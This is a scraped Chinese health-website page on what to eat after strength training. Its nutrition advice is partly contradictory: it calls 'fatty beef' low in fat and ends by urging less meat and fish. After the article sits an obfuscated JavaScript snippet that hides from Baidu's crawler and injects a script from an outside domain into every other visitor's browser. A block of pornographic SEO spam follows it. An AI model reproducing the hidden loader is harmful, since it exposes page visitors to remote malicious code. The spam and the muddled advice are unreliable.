當前位置:首頁 > 健康 > 運動健身 > 正文

鍛煉肌肉后要吃什么呢

2017-04-16 23:02:48  來源:360常識網(wǎng)   熱度:
導(dǎo)語:可能我們很多人在鍛煉肌肉之后經(jīng)常容易出現(xiàn)肚子空的情況,這時候可以多吃一些蛋白質(zhì)比較豐富的食物,可以有效的幫助我們補充身體所需要的能

可能我們很多人在鍛煉肌肉之后經(jīng)常容易出現(xiàn)肚子空的情況,這時候可以多吃一些蛋白質(zhì)比較豐富的食物,可以有效的幫助我們補充身體所需要的能量,還可以為我們身體提供儲備支撐,對于提高我們自身的身體素質(zhì)也非常有好處,普及一下鍛煉肌肉后要吃什么吧。

1、肥牛肉。肥牛肉蛋白質(zhì)較高,而且經(jīng)過排酸,多吃對身體也無負擔。而且牛肉脂肪含量少,是促進肌肉增加的首選食物。

2、吃肥牛肉的同時還要添加些青菜和水果,以補充維生素。對增加肌肉有很好的促進作用,比如橙子,菠蘿,草莓,西蘭花,生菜,青菜等等。

3、多吃碳水化合物類。比如雜糧饅頭,玉米,燕麥片等。

4、多吃蛋類食物。蛋類要吃熟透的,如果生的不僅沒有營養(yǎng)還會把病菌帶入體內(nèi),影響肌肉群的正常增長。比如蒸雞蛋要蒸透了。

5、適當補充蛋白質(zhì)粉。因為肌肉大部分是蛋白質(zhì),因此肌肉在鍛煉后需要高蛋白來進行修復(fù)和生長。所以如果想比較快的長肌肉,就要適當服用蛋白質(zhì)粉了。

鍛煉肌肉和可以多吃一些富含紅色素的水果,可以幫助我們補充體內(nèi)所需要的能量,同時日常一定要多吃一些有營養(yǎng)價值的東西才能夠幫助我們達到一個最佳的鍛煉效果需要引起大家的高度重視,盡量少吃一些雞鴨魚肉食物。

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
国产三级精品三级在线专区1| 久久水蜜桃亚洲av无码精品麻豆| 精品成人A区在线观看| 免费精品久久久久久中文字幕| 日韩精品人妻系列无码专区 | 久久精品国产亚洲AV麻豆网站| 国产成人综合日韩精品无码| 99re热视频精品首页| 久久国产午夜精品一区二区三区 | 99re6在线精品免费观看| 亚洲欧美国产精品专区久久| 久久精品丝袜高跟鞋| 国产精品秘入口福利姬网站| 亚洲av永久中文无码精品| 亚洲国产综合精品中文第一区 | 亚洲无线观看国产精品| 国产精品林美惠子在线播放| 中文字幕日韩精品麻豆系列| 久久久精品免费视频| 国产精品99久久久久久www| 久久久一本精品99久久精品66直播| 久久久精品2019中文字幕2020| 亚洲精品无码久久久久AV麻豆| AV天堂午夜精品一区二区三区| 久久久久久九九99精品| 亚洲精品无码精品mV在线观看| 夜夜高潮夜夜爽国产伦精品| 国产精品爽黄69天堂a片| 麻豆麻豆必出精品入口| 久久久久国产精品免费网站| 华人在线精品免费观看| 国产亚洲精品a在线观看| 影院无码人妻精品一区二区| 精品国产一区二区三区久| 国产成人综合久久精品红| 亚洲精品电影在线| 99久久er热在这里只有精品99| 久久精品无码一区二区三区| 久久久亚洲精品蜜桃臀| 国产精品gz久久久| 西瓜精品国产自在现线|